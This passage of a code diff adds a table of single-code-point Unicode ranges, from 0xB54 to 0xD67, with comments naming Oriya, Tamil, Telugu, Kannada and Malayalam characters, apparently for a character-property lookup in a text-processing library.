+ [0xb54, 0xb54],
+ [0xb55, 0xb55],
+ [0xb56, 0xb56], /* ORIYA AI LENGTH MARK */
+ [0xb57, 0xb57], /* ORIYA AU LENGTH MARK */
+ [0xb58, 0xb58],
+ [0xb59, 0xb59],
+ [0xb5a, 0xb5a],
+ [0xb5b, 0xb5b],
+ [0xb5c, 0xb5c], /* ORIYA LETTER RRA */
+ [0xb5d, 0xb5d], /* ORIYA LETTER RHA */
+ [0xb5e, 0xb5e],
+ [0xb5f, 0xb5f], /* ORIYA LETTER YYA */
+ [0xb60, 0xb60], /* ORIYA LETTER VOCALIC RR */
+ [0xb61, 0xb61], /* ORIYA LETTER VOCALIC LL */
+ [0xb62, 0xb62], /* ORIYA VOWEL SIGN VOCALIC L */
+ [0xb63, 0xb63], /* ORIYA VOWEL SIGN VOCALIC LL */
+ [0xb64, 0xb64],
+ [0xb65, 0xb65],
+ [0xb66, 0xb66], /* ORIYA DIGIT ZERO */
+ [0xb67, 0xb67], /* ORIYA DIGIT ONE */
+ [0xb68, 0xb68], /* ORIYA DIGIT TWO */
+ [0xb69, 0xb69], /* ORIYA DIGIT THREE */
+ [0xb6a, 0xb6a], /* ORIYA DIGIT FOUR */
+ [0xb6b, 0xb6b], /* ORIYA DIGIT FIVE */
+ [0xb6c, 0xb6c], /* ORIYA DIGIT SIX */
+ [0xb6d, 0xb6d], /* ORIYA DIGIT SEVEN */
+ [0xb6e, 0xb6e], /* ORIYA DIGIT EIGHT */
+ [0xb6f, 0xb6f], /* ORIYA DIGIT NINE */
+ [0xb70, 0xb70], /* ORIYA ISSHAR */
+ [0xb71, 0xb71], /* ORIYA LETTER WA */
+ [0xb72, 0xb72], /* ORIYA FRACTION ONE QUARTER */
+ [0xb73, 0xb73], /* ORIYA FRACTION ONE HALF */
+ [0xb74, 0xb74], /* ORIYA FRACTION THREE QUARTERS */
+ [0xb75, 0xb75], /* ORIYA FRACTION ONE SIXTEENTH */
+ [0xb76, 0xb76], /* ORIYA FRACTION ONE EIGHTH */
+ [0xb77, 0xb77], /* ORIYA FRACTION THREE SIXTEENTHS */
+ [0xb78, 0xb78],
+ [0xb79, 0xb79],
+ [0xb7a, 0xb7a],
+ [0xb7b, 0xb7b],
+ [0xb7c, 0xb7c],
+ [0xb7d, 0xb7d],
+ [0xb7e, 0xb7e],
+ [0xb7f, 0xb7f],
+ [0xb80, 0xb80],
+ [0xb81, 0xb81],
+ [0xb82, 0xb82], /* TAMIL SIGN ANUSVARA */
+ [0xb83, 0xb83], /* TAMIL SIGN VISARGA */
+ [0xb84, 0xb84],
+ [0xb85, 0xb85], /* TAMIL LETTER A */
+ [0xb86, 0xb86], /* TAMIL LETTER AA */
+ [0xb87, 0xb87], /* TAMIL LETTER I */
+ [0xb88, 0xb88], /* TAMIL LETTER II */
+ [0xb89, 0xb89], /* TAMIL LETTER U */
+ [0xb8a, 0xb8a], /* TAMIL LETTER UU */
+ [0xb8b, 0xb8b],
+ [0xb8c, 0xb8c],
+ [0xb8d, 0xb8d],
+ [0xb8e, 0xb8e], /* TAMIL LETTER E */
+ [0xb8f, 0xb8f], /* TAMIL LETTER EE */
+ [0xb90, 0xb90], /* TAMIL LETTER AI */
+ [0xb91, 0xb91],
+ [0xb92, 0xb92], /* TAMIL LETTER O */
+ [0xb93, 0xb93], /* TAMIL LETTER OO */
+ [0xb94, 0xb94], /* TAMIL LETTER AU */
+ [0xb95, 0xb95], /* TAMIL LETTER KA */
+ [0xb96, 0xb96],
+ [0xb97, 0xb97],
+ [0xb98, 0xb98],
+ [0xb99, 0xb99], /* TAMIL LETTER NGA */
+ [0xb9a, 0xb9a], /* TAMIL LETTER CA */
+ [0xb9b, 0xb9b],
+ [0xb9c, 0xb9c], /* TAMIL LETTER JA */
+ [0xb9d, 0xb9d],
+ [0xb9e, 0xb9e], /* TAMIL LETTER NYA */
+ [0xb9f, 0xb9f], /* TAMIL LETTER TTA */
+ [0xba0, 0xba0],
+ [0xba1, 0xba1],
+ [0xba2, 0xba2],
+ [0xba3, 0xba3], /* TAMIL LETTER NNA */
+ [0xba4, 0xba4], /* TAMIL LETTER TA */
+ [0xba5, 0xba5],
+ [0xba6, 0xba6],
+ [0xba7, 0xba7],
+ [0xba8, 0xba8], /* TAMIL LETTER NA */
+ [0xba9, 0xba9], /* TAMIL LETTER NNNA */
+ [0xbaa, 0xbaa], /* TAMIL LETTER PA */
+ [0xbab, 0xbab],
+ [0xbac, 0xbac],
+ [0xbad, 0xbad],
+ [0xbae, 0xbae], /* TAMIL LETTER MA */
+ [0xbaf, 0xbaf], /* TAMIL LETTER YA */
+ [0xbb0, 0xbb0], /* TAMIL LETTER RA */
+ [0xbb1, 0xbb1], /* TAMIL LETTER RRA */
+ [0xbb2, 0xbb2], /* TAMIL LETTER LA */
+ [0xbb3, 0xbb3], /* TAMIL LETTER LLA */
+ [0xbb4, 0xbb4], /* TAMIL LETTER LLLA */
+ [0xbb5, 0xbb5], /* TAMIL LETTER VA */
+ [0xbb6, 0xbb6], /* TAMIL LETTER SHA */
+ [0xbb7, 0xbb7], /* TAMIL LETTER SSA */
+ [0xbb8, 0xbb8], /* TAMIL LETTER SA */
+ [0xbb9, 0xbb9], /* TAMIL LETTER HA */
+ [0xbba, 0xbba],
+ [0xbbb, 0xbbb],
+ [0xbbc, 0xbbc],
+ [0xbbd, 0xbbd],
+ [0xbbe, 0xbbe], /* TAMIL VOWEL SIGN AA */
+ [0xbbf, 0xbbf], /* TAMIL VOWEL SIGN I */
+ [0xbc0, 0xbc0], /* TAMIL VOWEL SIGN II */
+ [0xbc1, 0xbc1], /* TAMIL VOWEL SIGN U */
+ [0xbc2, 0xbc2], /* TAMIL VOWEL SIGN UU */
+ [0xbc3, 0xbc3],
+ [0xbc4, 0xbc4],
+ [0xbc5, 0xbc5],
+ [0xbc6, 0xbc6], /* TAMIL VOWEL SIGN E */
+ [0xbc7, 0xbc7], /* TAMIL VOWEL SIGN EE */
+ [0xbc8, 0xbc8], /* TAMIL VOWEL SIGN AI */
+ [0xbc9, 0xbc9],
+ [0xbca, 0xbca], /* TAMIL VOWEL SIGN O */
+ [0xbcb, 0xbcb], /* TAMIL VOWEL SIGN OO */
+ [0xbcc, 0xbcc], /* TAMIL VOWEL SIGN AU */
+ [0xbcd, 0xbcd], /* TAMIL SIGN VIRAMA */
+ [0xbce, 0xbce],
+ [0xbcf, 0xbcf],
+ [0xbd0, 0xbd0], /* TAMIL OM */
+ [0xbd1, 0xbd1],
+ [0xbd2, 0xbd2],
+ [0xbd3, 0xbd3],
+ [0xbd4, 0xbd4],
+ [0xbd5, 0xbd5],
+ [0xbd6, 0xbd6],
+ [0xbd7, 0xbd7], /* TAMIL AU LENGTH MARK */
+ [0xbd8, 0xbd8],
+ [0xbd9, 0xbd9],
+ [0xbda, 0xbda],
+ [0xbdb, 0xbdb],
+ [0xbdc, 0xbdc],
+ [0xbdd, 0xbdd],
+ [0xbde, 0xbde],
+ [0xbdf, 0xbdf],
+ [0xbe0, 0xbe0],
+ [0xbe1, 0xbe1],
+ [0xbe2, 0xbe2],
+ [0xbe3, 0xbe3],
+ [0xbe4, 0xbe4],
+ [0xbe5, 0xbe5],
+ [0xbe6, 0xbe6], /* TAMIL DIGIT ZERO */
+ [0xbe7, 0xbe7], /* TAMIL DIGIT ONE */
+ [0xbe8, 0xbe8], /* TAMIL DIGIT TWO */
+ [0xbe9, 0xbe9], /* TAMIL DIGIT THREE */
+ [0xbea, 0xbea], /* TAMIL DIGIT FOUR */
+ [0xbeb, 0xbeb], /* TAMIL DIGIT FIVE */
+ [0xbec, 0xbec], /* TAMIL DIGIT SIX */
+ [0xbed, 0xbed], /* TAMIL DIGIT SEVEN */
+ [0xbee, 0xbee], /* TAMIL DIGIT EIGHT */
+ [0xbef, 0xbef], /* TAMIL DIGIT NINE */
+ [0xbf0, 0xbf0], /* TAMIL NUMBER TEN */
+ [0xbf1, 0xbf1], /* TAMIL NUMBER ONE HUNDRED */
+ [0xbf2, 0xbf2], /* TAMIL NUMBER ONE THOUSAND */
+ [0xbf3, 0xbf3], /* TAMIL DAY SIGN */
+ [0xbf4, 0xbf4], /* TAMIL MONTH SIGN */
+ [0xbf5, 0xbf5], /* TAMIL YEAR SIGN */
+ [0xbf6, 0xbf6], /* TAMIL DEBIT SIGN */
+ [0xbf7, 0xbf7], /* TAMIL CREDIT SIGN */
+ [0xbf8, 0xbf8], /* TAMIL AS ABOVE SIGN */
+ [0xbf9, 0xbf9], /* TAMIL RUPEE SIGN */
+ [0xbfa, 0xbfa], /* TAMIL NUMBER SIGN */
+ [0xbfb, 0xbfb],
+ [0xbfc, 0xbfc],
+ [0xbfd, 0xbfd],
+ [0xbfe, 0xbfe],
+ [0xbff, 0xbff],
+ [0xc00, 0xc00], /* TELUGU SIGN COMBINING CANDRABINDU ABOVE */
+ [0xc01, 0xc01], /* TELUGU SIGN CANDRABINDU */
+ [0xc02, 0xc02], /* TELUGU SIGN ANUSVARA */
+ [0xc03, 0xc03], /* TELUGU SIGN VISARGA */
+ [0xc04, 0xc04],
+ [0xc05, 0xc05], /* TELUGU LETTER A */
+ [0xc06, 0xc06], /* TELUGU LETTER AA */
+ [0xc07, 0xc07], /* TELUGU LETTER I */
+ [0xc08, 0xc08], /* TELUGU LETTER II */
+ [0xc09, 0xc09], /* TELUGU LETTER U */
+ [0xc0a, 0xc0a], /* TELUGU LETTER UU */
+ [0xc0b, 0xc0b], /* TELUGU LETTER VOCALIC R */
+ [0xc0c, 0xc0c], /* TELUGU LETTER VOCALIC L */
+ [0xc0d, 0xc0d],
+ [0xc0e, 0xc0e], /* TELUGU LETTER E */
+ [0xc0f, 0xc0f], /* TELUGU LETTER EE */
+ [0xc10, 0xc10], /* TELUGU LETTER AI */
+ [0xc11, 0xc11],
+ [0xc12, 0xc12], /* TELUGU LETTER O */
+ [0xc13, 0xc13], /* TELUGU LETTER OO */
+ [0xc14, 0xc14], /* TELUGU LETTER AU */
+ [0xc15, 0xc15], /* TELUGU LETTER KA */
+ [0xc16, 0xc16], /* TELUGU LETTER KHA */
+ [0xc17, 0xc17], /* TELUGU LETTER GA */
+ [0xc18, 0xc18], /* TELUGU LETTER GHA */
+ [0xc19, 0xc19], /* TELUGU LETTER NGA */
+ [0xc1a, 0xc1a], /* TELUGU LETTER CA */
+ [0xc1b, 0xc1b], /* TELUGU LETTER CHA */
+ [0xc1c, 0xc1c], /* TELUGU LETTER JA */
+ [0xc1d, 0xc1d], /* TELUGU LETTER JHA */
+ [0xc1e, 0xc1e], /* TELUGU LETTER NYA */
+ [0xc1f, 0xc1f], /* TELUGU LETTER TTA */
+ [0xc20, 0xc20], /* TELUGU LETTER TTHA */
+ [0xc21, 0xc21], /* TELUGU LETTER DDA */
+ [0xc22, 0xc22], /* TELUGU LETTER DDHA */
+ [0xc23, 0xc23], /* TELUGU LETTER NNA */
+ [0xc24, 0xc24], /* TELUGU LETTER TA */
+ [0xc25, 0xc25], /* TELUGU LETTER THA */
+ [0xc26, 0xc26], /* TELUGU LETTER DA */
+ [0xc27, 0xc27], /* TELUGU LETTER DHA */
+ [0xc28, 0xc28], /* TELUGU LETTER NA */
+ [0xc29, 0xc29],
+ [0xc2a, 0xc2a], /* TELUGU LETTER PA */
+ [0xc2b, 0xc2b], /* TELUGU LETTER PHA */
+ [0xc2c, 0xc2c], /* TELUGU LETTER BA */
+ [0xc2d, 0xc2d], /* TELUGU LETTER BHA */
+ [0xc2e, 0xc2e], /* TELUGU LETTER MA */
+ [0xc2f, 0xc2f], /* TELUGU LETTER YA */
+ [0xc30, 0xc30], /* TELUGU LETTER RA */
+ [0xc31, 0xc31], /* TELUGU LETTER RRA */
+ [0xc32, 0xc32], /* TELUGU LETTER LA */
+ [0xc33, 0xc33], /* TELUGU LETTER LLA */
+ [0xc34, 0xc34], /* TELUGU LETTER LLLA */
+ [0xc35, 0xc35], /* TELUGU LETTER VA */
+ [0xc36, 0xc36], /* TELUGU LETTER SHA */
+ [0xc37, 0xc37], /* TELUGU LETTER SSA */
+ [0xc38, 0xc38], /* TELUGU LETTER SA */
+ [0xc39, 0xc39], /* TELUGU LETTER HA */
+ [0xc3a, 0xc3a],
+ [0xc3b, 0xc3b],
+ [0xc3c, 0xc3c],
+ [0xc3d, 0xc3d], /* TELUGU SIGN AVAGRAHA */
+ [0xc3e, 0xc3e], /* TELUGU VOWEL SIGN AA */
+ [0xc3f, 0xc3f], /* TELUGU VOWEL SIGN I */
+ [0xc40, 0xc40], /* TELUGU VOWEL SIGN II */
+ [0xc41, 0xc41], /* TELUGU VOWEL SIGN U */
+ [0xc42, 0xc42], /* TELUGU VOWEL SIGN UU */
+ [0xc43, 0xc43], /* TELUGU VOWEL SIGN VOCALIC R */
+ [0xc44, 0xc44], /* TELUGU VOWEL SIGN VOCALIC RR */
+ [0xc45, 0xc45],
+ [0xc46, 0xc46], /* TELUGU VOWEL SIGN E */
+ [0xc47, 0xc47], /* TELUGU VOWEL SIGN EE */
+ [0xc48, 0xc48], /* TELUGU VOWEL SIGN AI */
+ [0xc49, 0xc49],
+ [0xc4a, 0xc4a], /* TELUGU VOWEL SIGN O */
+ [0xc4b, 0xc4b], /* TELUGU VOWEL SIGN OO */
+ [0xc4c, 0xc4c], /* TELUGU VOWEL SIGN AU */
+ [0xc4d, 0xc4d], /* TELUGU SIGN VIRAMA */
+ [0xc4e, 0xc4e],
+ [0xc4f, 0xc4f],
+ [0xc50, 0xc50],
+ [0xc51, 0xc51],
+ [0xc52, 0xc52],
+ [0xc53, 0xc53],
+ [0xc54, 0xc54],
+ [0xc55, 0xc55], /* TELUGU LENGTH MARK */
+ [0xc56, 0xc56], /* TELUGU AI LENGTH MARK */
+ [0xc57, 0xc57],
+ [0xc58, 0xc58], /* TELUGU LETTER TSA */
+ [0xc59, 0xc59], /* TELUGU LETTER DZA */
+ [0xc5a, 0xc5a], /* TELUGU LETTER RRRA */
+ [0xc5b, 0xc5b],
+ [0xc5c, 0xc5c],
+ [0xc5d, 0xc5d],
+ [0xc5e, 0xc5e],
+ [0xc5f, 0xc5f],
+ [0xc60, 0xc60], /* TELUGU LETTER VOCALIC RR */
+ [0xc61, 0xc61], /* TELUGU LETTER VOCALIC LL */
+ [0xc62, 0xc62], /* TELUGU VOWEL SIGN VOCALIC L */
+ [0xc63, 0xc63], /* TELUGU VOWEL SIGN VOCALIC LL */
+ [0xc64, 0xc64],
+ [0xc65, 0xc65],
+ [0xc66, 0xc66], /* TELUGU DIGIT ZERO */
+ [0xc67, 0xc67], /* TELUGU DIGIT ONE */
+ [0xc68, 0xc68], /* TELUGU DIGIT TWO */
+ [0xc69, 0xc69], /* TELUGU DIGIT THREE */
+ [0xc6a, 0xc6a], /* TELUGU DIGIT FOUR */
+ [0xc6b, 0xc6b], /* TELUGU DIGIT FIVE */
+ [0xc6c, 0xc6c], /* TELUGU DIGIT SIX */
+ [0xc6d, 0xc6d], /* TELUGU DIGIT SEVEN */
+ [0xc6e, 0xc6e], /* TELUGU DIGIT EIGHT */
+ [0xc6f, 0xc6f], /* TELUGU DIGIT NINE */
+ [0xc70, 0xc70],
+ [0xc71, 0xc71],
+ [0xc72, 0xc72],
+ [0xc73, 0xc73],
+ [0xc74, 0xc74],
+ [0xc75, 0xc75],
+ [0xc76, 0xc76],
+ [0xc77, 0xc77],
+ [0xc78, 0xc78], /* TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR */
+ [0xc79, 0xc79], /* TELUGU FRACTION DIGIT ONE FOR ODD POWERS OF FOUR */
+ [0xc7a, 0xc7a], /* TELUGU FRACTION DIGIT TWO FOR ODD POWERS OF FOUR */
+ [0xc7b, 0xc7b], /* TELUGU FRACTION DIGIT THREE FOR ODD POWERS OF FOUR */
+ [0xc7c, 0xc7c], /* TELUGU FRACTION DIGIT ONE FOR EVEN POWERS OF FOUR */
+ [0xc7d, 0xc7d], /* TELUGU FRACTION DIGIT TWO FOR EVEN POWERS OF FOUR */
+ [0xc7e, 0xc7e], /* TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR */
+ [0xc7f, 0xc7f], /* TELUGU SIGN TUUMU */
+ [0xc80, 0xc80], /* KANNADA SIGN SPACING CANDRABINDU */
+ [0xc81, 0xc81], /* KANNADA SIGN CANDRABINDU */
+ [0xc82, 0xc82], /* KANNADA SIGN ANUSVARA */
+ [0xc83, 0xc83], /* KANNADA SIGN VISARGA */
+ [0xc84, 0xc84],
+ [0xc85, 0xc85], /* KANNADA LETTER A */
+ [0xc86, 0xc86], /* KANNADA LETTER AA */
+ [0xc87, 0xc87], /* KANNADA LETTER I */
+ [0xc88, 0xc88], /* KANNADA LETTER II */
+ [0xc89, 0xc89], /* KANNADA LETTER U */
+ [0xc8a, 0xc8a], /* KANNADA LETTER UU */
+ [0xc8b, 0xc8b], /* KANNADA LETTER VOCALIC R */
+ [0xc8c, 0xc8c], /* KANNADA LETTER VOCALIC L */
+ [0xc8d, 0xc8d],
+ [0xc8e, 0xc8e], /* KANNADA LETTER E */
+ [0xc8f, 0xc8f], /* KANNADA LETTER EE */
+ [0xc90, 0xc90], /* KANNADA LETTER AI */
+ [0xc91, 0xc91],
+ [0xc92, 0xc92], /* KANNADA LETTER O */
+ [0xc93, 0xc93], /* KANNADA LETTER OO */
+ [0xc94, 0xc94], /* KANNADA LETTER AU */
+ [0xc95, 0xc95], /* KANNADA LETTER KA */
+ [0xc96, 0xc96], /* KANNADA LETTER KHA */
+ [0xc97, 0xc97], /* KANNADA LETTER GA */
+ [0xc98, 0xc98], /* KANNADA LETTER GHA */
+ [0xc99, 0xc99], /* KANNADA LETTER NGA */
+ [0xc9a, 0xc9a], /* KANNADA LETTER CA */
+ [0xc9b, 0xc9b], /* KANNADA LETTER CHA */
+ [0xc9c, 0xc9c], /* KANNADA LETTER JA */
+ [0xc9d, 0xc9d], /* KANNADA LETTER JHA */
+ [0xc9e, 0xc9e], /* KANNADA LETTER NYA */
+ [0xc9f, 0xc9f], /* KANNADA LETTER TTA */
+ [0xca0, 0xca0], /* KANNADA LETTER TTHA */
+ [0xca1, 0xca1], /* KANNADA LETTER DDA */
+ [0xca2, 0xca2], /* KANNADA LETTER DDHA */
+ [0xca3, 0xca3], /* KANNADA LETTER NNA */
+ [0xca4, 0xca4], /* KANNADA LETTER TA */
+ [0xca5, 0xca5], /* KANNADA LETTER THA */
+ [0xca6, 0xca6], /* KANNADA LETTER DA */
+ [0xca7, 0xca7], /* KANNADA LETTER DHA */
+ [0xca8, 0xca8], /* KANNADA LETTER NA */
+ [0xca9, 0xca9],
+ [0xcaa, 0xcaa], /* KANNADA LETTER PA */
+ [0xcab, 0xcab], /* KANNADA LETTER PHA */
+ [0xcac, 0xcac], /* KANNADA LETTER BA */
+ [0xcad, 0xcad], /* KANNADA LETTER BHA */
+ [0xcae, 0xcae], /* KANNADA LETTER MA */
+ [0xcaf, 0xcaf], /* KANNADA LETTER YA */
+ [0xcb0, 0xcb0], /* KANNADA LETTER RA */
+ [0xcb1, 0xcb1], /* KANNADA LETTER RRA */
+ [0xcb2, 0xcb2], /* KANNADA LETTER LA */
+ [0xcb3, 0xcb3], /* KANNADA LETTER LLA */
+ [0xcb4, 0xcb4],
+ [0xcb5, 0xcb5], /* KANNADA LETTER VA */
+ [0xcb6, 0xcb6], /* KANNADA LETTER SHA */
+ [0xcb7, 0xcb7], /* KANNADA LETTER SSA */
+ [0xcb8, 0xcb8], /* KANNADA LETTER SA */
+ [0xcb9, 0xcb9], /* KANNADA LETTER HA */
+ [0xcba, 0xcba],
+ [0xcbb, 0xcbb],
+ [0xcbc, 0xcbc], /* KANNADA SIGN NUKTA */
+ [0xcbd, 0xcbd], /* KANNADA SIGN AVAGRAHA */
+ [0xcbe, 0xcbe], /* KANNADA VOWEL SIGN AA */
+ [0xcbf, 0xcbf], /* KANNADA VOWEL SIGN I */
+ [0xcc0, 0xcc0], /* KANNADA VOWEL SIGN II */
+ [0xcc1, 0xcc1], /* KANNADA VOWEL SIGN U */
+ [0xcc2, 0xcc2], /* KANNADA VOWEL SIGN UU */
+ [0xcc3, 0xcc3], /* KANNADA VOWEL SIGN VOCALIC R */
+ [0xcc4, 0xcc4], /* KANNADA VOWEL SIGN VOCALIC RR */
+ [0xcc5, 0xcc5],
+ [0xcc6, 0xcc6], /* KANNADA VOWEL SIGN E */
+ [0xcc7, 0xcc7], /* KANNADA VOWEL SIGN EE */
+ [0xcc8, 0xcc8], /* KANNADA VOWEL SIGN AI */
+ [0xcc9, 0xcc9],
+ [0xcca, 0xcca], /* KANNADA VOWEL SIGN O */
+ [0xccb, 0xccb], /* KANNADA VOWEL SIGN OO */
+ [0xccc, 0xccc], /* KANNADA VOWEL SIGN AU */
+ [0xccd, 0xccd], /* KANNADA SIGN VIRAMA */
+ [0xcce, 0xcce],
+ [0xccf, 0xccf],
+ [0xcd0, 0xcd0],
+ [0xcd1, 0xcd1],
+ [0xcd2, 0xcd2],
+ [0xcd3, 0xcd3],
+ [0xcd4, 0xcd4],
+ [0xcd5, 0xcd5], /* KANNADA LENGTH MARK */
+ [0xcd6, 0xcd6], /* KANNADA AI LENGTH MARK */
+ [0xcd7, 0xcd7],
+ [0xcd8, 0xcd8],
+ [0xcd9, 0xcd9],
+ [0xcda, 0xcda],
+ [0xcdb, 0xcdb],
+ [0xcdc, 0xcdc],
+ [0xcdd, 0xcdd],
+ [0xcde, 0xcde], /* KANNADA LETTER FA */
+ [0xcdf, 0xcdf],
+ [0xce0, 0xce0], /* KANNADA LETTER VOCALIC RR */
+ [0xce1, 0xce1], /* KANNADA LETTER VOCALIC LL */
+ [0xce2, 0xce2], /* KANNADA VOWEL SIGN VOCALIC L */
+ [0xce3, 0xce3], /* KANNADA VOWEL SIGN VOCALIC LL */
+ [0xce4, 0xce4],
+ [0xce5, 0xce5],
+ [0xce6, 0xce6], /* KANNADA DIGIT ZERO */
+ [0xce7, 0xce7], /* KANNADA DIGIT ONE */
+ [0xce8, 0xce8], /* KANNADA DIGIT TWO */
+ [0xce9, 0xce9], /* KANNADA DIGIT THREE */
+ [0xcea, 0xcea], /* KANNADA DIGIT FOUR */
+ [0xceb, 0xceb], /* KANNADA DIGIT FIVE */
+ [0xcec, 0xcec], /* KANNADA DIGIT SIX */
+ [0xced, 0xced], /* KANNADA DIGIT SEVEN */
+ [0xcee, 0xcee], /* KANNADA DIGIT EIGHT */
+ [0xcef, 0xcef], /* KANNADA DIGIT NINE */
+ [0xcf0, 0xcf0],
+ [0xcf1, 0xcf1], /* KANNADA SIGN JIHVAMULIYA */
+ [0xcf2, 0xcf2], /* KANNADA SIGN UPADHMANIYA */
+ [0xcf3, 0xcf3],
+ [0xcf4, 0xcf4],
+ [0xcf5, 0xcf5],
+ [0xcf6, 0xcf6],
+ [0xcf7, 0xcf7],
+ [0xcf8, 0xcf8],
+ [0xcf9, 0xcf9],
+ [0xcfa, 0xcfa],
+ [0xcfb, 0xcfb],
+ [0xcfc, 0xcfc],
+ [0xcfd, 0xcfd],
+ [0xcfe, 0xcfe],
+ [0xcff, 0xcff],
+ [0xd00, 0xd00],
+ [0xd01, 0xd01], /* MALAYALAM SIGN CANDRABINDU */
+ [0xd02, 0xd02], /* MALAYALAM SIGN ANUSVARA */
+ [0xd03, 0xd03], /* MALAYALAM SIGN VISARGA */
+ [0xd04, 0xd04],
+ [0xd05, 0xd05], /* MALAYALAM LETTER A */
+ [0xd06, 0xd06], /* MALAYALAM LETTER AA */
+ [0xd07, 0xd07], /* MALAYALAM LETTER I */
+ [0xd08, 0xd08], /* MALAYALAM LETTER II */
+ [0xd09, 0xd09], /* MALAYALAM LETTER U */
+ [0xd0a, 0xd0a], /* MALAYALAM LETTER UU */
+ [0xd0b, 0xd0b], /* MALAYALAM LETTER VOCALIC R */
+ [0xd0c, 0xd0c], /* MALAYALAM LETTER VOCALIC L */
+ [0xd0d, 0xd0d],
+ [0xd0e, 0xd0e], /* MALAYALAM LETTER E */
+ [0xd0f, 0xd0f], /* MALAYALAM LETTER EE */
+ [0xd10, 0xd10], /* MALAYALAM LETTER AI */
+ [0xd11, 0xd11],
+ [0xd12, 0xd12], /* MALAYALAM LETTER O */
+ [0xd13, 0xd13], /* MALAYALAM LETTER OO */
+ [0xd14, 0xd14], /* MALAYALAM LETTER AU */
+ [0xd15, 0xd15], /* MALAYALAM LETTER KA */
+ [0xd16, 0xd16], /* MALAYALAM LETTER KHA */
+ [0xd17, 0xd17], /* MALAYALAM LETTER GA */
+ [0xd18, 0xd18], /* MALAYALAM LETTER GHA */
+ [0xd19, 0xd19], /* MALAYALAM LETTER NGA */
+ [0xd1a, 0xd1a], /* MALAYALAM LETTER CA */
+ [0xd1b, 0xd1b], /* MALAYALAM LETTER CHA */
+ [0xd1c, 0xd1c], /* MALAYALAM LETTER JA */
+ [0xd1d, 0xd1d], /* MALAYALAM LETTER JHA */
+ [0xd1e, 0xd1e], /* MALAYALAM LETTER NYA */
+ [0xd1f, 0xd1f], /* MALAYALAM LETTER TTA */
+ [0xd20, 0xd20], /* MALAYALAM LETTER TTHA */
+ [0xd21, 0xd21], /* MALAYALAM LETTER DDA */
+ [0xd22, 0xd22], /* MALAYALAM LETTER DDHA */
+ [0xd23, 0xd23], /* MALAYALAM LETTER NNA */
+ [0xd24, 0xd24], /* MALAYALAM LETTER TA */
+ [0xd25, 0xd25], /* MALAYALAM LETTER THA */
+ [0xd26, 0xd26], /* MALAYALAM LETTER DA */
+ [0xd27, 0xd27], /* MALAYALAM LETTER DHA */
+ [0xd28, 0xd28], /* MALAYALAM LETTER NA */
+ [0xd29, 0xd29], /* MALAYALAM LETTER NNNA */
+ [0xd2a, 0xd2a], /* MALAYALAM LETTER PA */
+ [0xd2b, 0xd2b], /* MALAYALAM LETTER PHA */
+ [0xd2c, 0xd2c], /* MALAYALAM LETTER BA */
+ [0xd2d, 0xd2d], /* MALAYALAM LETTER BHA */
+ [0xd2e, 0xd2e], /* MALAYALAM LETTER MA */
+ [0xd2f, 0xd2f], /* MALAYALAM LETTER YA */
+ [0xd30, 0xd30], /* MALAYALAM LETTER RA */
+ [0xd31, 0xd31], /* MALAYALAM LETTER RRA */
+ [0xd32, 0xd32], /* MALAYALAM LETTER LA */
+ [0xd33, 0xd33], /* MALAYALAM LETTER LLA */
+ [0xd34, 0xd34], /* MALAYALAM LETTER LLLA */
+ [0xd35, 0xd35], /* MALAYALAM LETTER VA */
+ [0xd36, 0xd36], /* MALAYALAM LETTER SHA */
+ [0xd37, 0xd37], /* MALAYALAM LETTER SSA */
+ [0xd38, 0xd38], /* MALAYALAM LETTER SA */
+ [0xd39, 0xd39], /* MALAYALAM LETTER HA */
+ [0xd3a, 0xd3a], /* MALAYALAM LETTER TTTA */
+ [0xd3b, 0xd3b],
+ [0xd3c, 0xd3c],
+ [0xd3d, 0xd3d], /* MALAYALAM SIGN AVAGRAHA */
+ [0xd3e, 0xd3e], /* MALAYALAM VOWEL SIGN AA */
+ [0xd3f, 0xd3f], /* MALAYALAM VOWEL SIGN I */
+ [0xd40, 0xd40], /* MALAYALAM VOWEL SIGN II */
+ [0xd41, 0xd41], /* MALAYALAM VOWEL SIGN U */
+ [0xd42, 0xd42], /* MALAYALAM VOWEL SIGN UU */
+ [0xd43, 0xd43], /* MALAYALAM VOWEL SIGN VOCALIC R */
+ [0xd44, 0xd44], /* MALAYALAM VOWEL SIGN VOCALIC RR */
+ [0xd45, 0xd45],
+ [0xd46, 0xd46], /* MALAYALAM VOWEL SIGN E */
+ [0xd47, 0xd47], /* MALAYALAM VOWEL SIGN EE */
+ [0xd48, 0xd48], /* MALAYALAM VOWEL SIGN AI */
+ [0xd49, 0xd49],
+ [0xd4a, 0xd4a], /* MALAYALAM VOWEL SIGN O */
+ [0xd4b, 0xd4b], /* MALAYALAM VOWEL SIGN OO */
+ [0xd4c, 0xd4c], /* MALAYALAM VOWEL SIGN AU */
+ [0xd4d, 0xd4d], /* MALAYALAM SIGN VIRAMA */
+ [0xd4e, 0xd4e], /* MALAYALAM LETTER DOT REPH */
+ [0xd4f, 0xd4f], /* MALAYALAM SIGN PARA */
+ [0xd50, 0xd50],
+ [0xd51, 0xd51],
+ [0xd52, 0xd52],
+ [0xd53, 0xd53],
+ [0xd54, 0xd54], /* MALAYALAM LETTER CHILLU M */
+ [0xd55, 0xd55], /* MALAYALAM LETTER CHILLU Y */
+ [0xd56, 0xd56], /* MALAYALAM LETTER CHILLU LLL */
+ [0xd57, 0xd57], /* MALAYALAM AU LENGTH MARK */
+ [0xd58, 0xd58], /* MALAYALAM FRACTION ONE ONE-HUNDRED-AND-SIXTIETH */
+ [0xd59, 0xd59], /* MALAYALAM FRACTION ONE FORTIETH */
+ [0xd5a, 0xd5a], /* MALAYALAM FRACTION THREE EIGHTIETHS */
+ [0xd5b, 0xd5b], /* MALAYALAM FRACTION ONE TWENTIETH */
+ [0xd5c, 0xd5c], /* MALAYALAM FRACTION ONE TENTH */
+ [0xd5d, 0xd5d], /* MALAYALAM FRACTION THREE TWENTIETHS */
+ [0xd5e, 0xd5e], /* MALAYALAM FRACTION ONE FIFTH */
+ [0xd5f, 0xd5f], /* MALAYALAM LETTER ARCHAIC II */
+ [0xd60, 0xd60], /* MALAYALAM LETTER VOCALIC RR */
+ [0xd61, 0xd61], /* MALAYALAM LETTER VOCALIC LL */
+ [0xd62, 0xd62], /* MALAYALAM VOWEL SIGN VOCALIC L */
+ [0xd63, 0xd63], /* MALAYALAM VOWEL SIGN VOCALIC LL */
+ [0xd64, 0xd64],
+ [0xd65, 0xd65],
+ [0xd66, 0xd66], /* MALAYALAM DIGIT ZERO */
+ [0xd67, 0xd67], /* MALAYALAM DIGIT ONE */
